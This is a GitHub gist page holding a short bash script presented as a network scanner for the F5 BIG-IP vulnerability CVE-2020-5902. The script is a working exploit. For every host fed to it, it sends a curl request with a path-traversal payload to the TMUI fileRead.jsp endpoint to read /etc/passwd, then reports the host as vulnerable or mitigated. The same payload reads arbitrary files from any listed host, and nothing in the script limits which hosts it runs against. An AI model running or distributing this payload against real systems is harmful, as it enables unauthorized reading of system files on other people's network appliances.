Skip to content

Instantly share code, notes, and snippets.

@ihebski
Created August 2, 2020 12:21
Show Gist options
  • Save ihebski/0e7a449557776e6d072a0f9822bef1e0 to your computer and use it in GitHub Desktop.
Save ihebski/0e7a449557776e6d072a0f9822bef1e0 to your computer and use it in GitHub Desktop.
Check for BIG-IP F5 CVE-2020-5902 over the network
#!/bin/bash
#
# BIG-IPF5(CVE-2020-5902)
#
# Usage :
# $ echo "host1 host2 host3" | ./scanner
# $ cat myservers | ./scanner
#
servers="$(cat)"
for servers in $servers; do
# command test here
curl -vk --path-as-is "https://$servers/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" 2>&1 | grep "root" >/dev/null && echo "VULNERABLE: $servers" || echo "MITIGATED: $servers"
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment